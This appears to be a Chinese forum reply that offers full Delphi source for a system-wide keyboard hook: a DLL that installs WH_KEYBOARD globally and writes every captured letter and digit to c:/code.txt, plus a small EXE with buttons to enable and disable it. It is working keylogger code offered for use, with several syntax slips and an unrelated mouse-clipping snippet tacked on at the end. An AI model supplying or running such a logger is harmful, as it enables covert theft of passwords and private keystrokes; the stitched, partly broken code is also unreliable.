能写,给你个原代码
一.实现方法
DELPHI提供了强大的可视化集成开发环境,它使得在Windows下的应用程序开发变得更加广泛,因此我们将
用DELPHI编写一个动态链接库,然后在主程序中加以调用以实现系统挂钩的设置。具体步骤如下:
* 用DELPHI创建一个使用键盘挂钩的动态链接库HK.DLL
* 用DELPHI编写一个使用上述DLL的可执行文件HOOK.EXE
二.实现步骤
1.创建动态链接库
* 选择FILE菜单中的NEW选项,选择DLL产生一个新的模板,保存为HK.DPR
library HK .
uses
SysUtils,
Classes,
hkproc in 'hkproc.pas'; //挂钩函数在文件中的定义
exports //DLL的输出函数
EnableHotKeyHook,
DisableHotKeyHook;
begin
hNextHookProc :=0;
Assign(f,'c:/code.txt');//将捕获的键值存入C盘的“code.txt”文件中
Reset(f); //初始化“code.txt”文件
procSaveExit := ExitProc; //DLL释放时解除挂钩
ExitProc := @HotKeyHookExit;
end.
* 选择FILE菜单中的NEW选项,选择UNIT生成HKPROC.PAS
unit hkproc;
interface
uses
Windows,Messages;
var
f :file of char;
c:char;
i :integer;
j :integer;
hNextHookProc : HHook;
procSaveExit : Pointer;
function KeyboardHookHandler(iCode : Integer;
wParam : WPARAM;
lParam : LPARAM) : LRESULT; stdcall export;
function EnableHotKeyHook : BOOL export
function DisableHotKeyHook : BOOL; export
procedure HotKeyHookExit far
implementation
function KeyboardHookHandler(iCode : Integer;
WParam : WPARAM;
lParam : LPARAM) : LRESULT stdcall export;
const
_KeyPressMask = $80000000
begin
Result :=0;
if iCode <0 then
begin
Result :=CallNextHookEx(hNextHookProc,iCode,
wParam,lParam);
Exit;
end;
if((lParam and _KeyPressMask)=0) then
begin
i:=getkeystate($10); //返回Shift键的状态
j:=getkeystate($14); //返回Caps Lock键的状态
if((j and 1)=1 )then //判断CapsLock是否按下
begin
//判断Shift 是否按下
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then //判断是字母键还是数字键
begin
c:=chr(wparam-16);
end
else
begin
c:= chr(wparam+32);
end;
end
else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end
else
begin
c:=chr(wparam);
end;
end;
end
else
begin
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
begin
c:=chr(wparam-16);
end
else
begin
c:= chr(wparam);
end;
end
else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end
else
begin
c:=chr(wparam+32);
end;
end;
end;
seek(f,FileSize(f));
write(f,c); //将捕获的键码存入文件
end;
end;
function EnableHotKeyHook:BOOL;export;
begin
Result:=False;
if hNextHookProc <> 0 then exit;
hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,
KeyboardHookHandler,Hinstance,0);
Result:=hNextHookProc <>0
end;
function DisableHotKeyHook:BOOL; export;
begin
if hNextHookPRoc <> 0 then
begin
UnhookWindowshookEx(hNextHookProc);
hNextHookProc:=0;
Messagebeep(0);
Messagebeep(0);
end;
Result:=hNextHookPRoc=0;
end;
procedure HotKeyHookExit;
begin
if hNextHookProc <> 0 then DisableHotKeyHook;
close(f); //关闭文件并自动解除挂钩
ExitProc:=procSaveExit;
end;
end.
* 将程序编译后生成一个名为HK.DLL的动态链接库文件并存入“c:/hook”目录下。
2.创建调用DLL的EXE程序HOOK.EXE
* 选择FILE菜单中的NEW选项,在New Items窗口中,选择Application选项。在窗体Form中,加入两个按
键,一个定义为挂钩,另一个定义为解脱,同时加入一个文本框以提示挂钩的设置状况。将Unit1存为
“c:/hook/hk.pas”,其相应的代码如下:
unit hk;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Edit1: TEdit;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function EnableHotKeyHook : BOOL;external 'HK.dll';
//声明HOOK . DLL中的两函数
function DisableHotKeyHook :BOOL;external 'HK.dll';
procedure TForm1.Button1Click(Sender: TObject);
begin
if EnableHotKeyHook() then
begin
edit1.text :='设置挂钩'
end
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if DisableHotKeyHook() then
begin
edit1.Text :='挂钩解脱'
end
end;
end.
* 选取Views菜单中的Project Source,将Project1存为“c:/hook/hook.dpr”,其代码如下:
program hook;
uses
Forms,
hk in 'hk.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
* 编译生成HOOK.EXE 程序并存入“c:/hook”目录下。预先用“记事本”在“c:/hook”目录下建立
CODE.TXT文件,运行HOOK程序并单击“挂钩”键,文本框提示“设置系统挂钩”,这时启动写字板等应用程
序,所键入的字母和数字将被记录在CODE.TXT文件中。
单击“解脱”键,文本框显示“挂钩解脱”,程序将停止对键盘的捕获。
// 限制
procedure TForm1.Button1Click(Sender: TObject);
var
rtButton2: TRect;
begin
rtButton2 := Button2.BoundsRect;
MapWindowPoints(handle, 0, rtButton2, 2); // 座标换算
ClipCursor(@rtButton2); // 限制鼠标移动区域
end;
// 还原
procedure TForm1.Button2Click(Sender: TObject);
var
rtScreen: TRect;
begin
rtScreen := Rect(0, 0, Screen.Width, Screen.Height);
ClipCursor(@rtScreen);
end;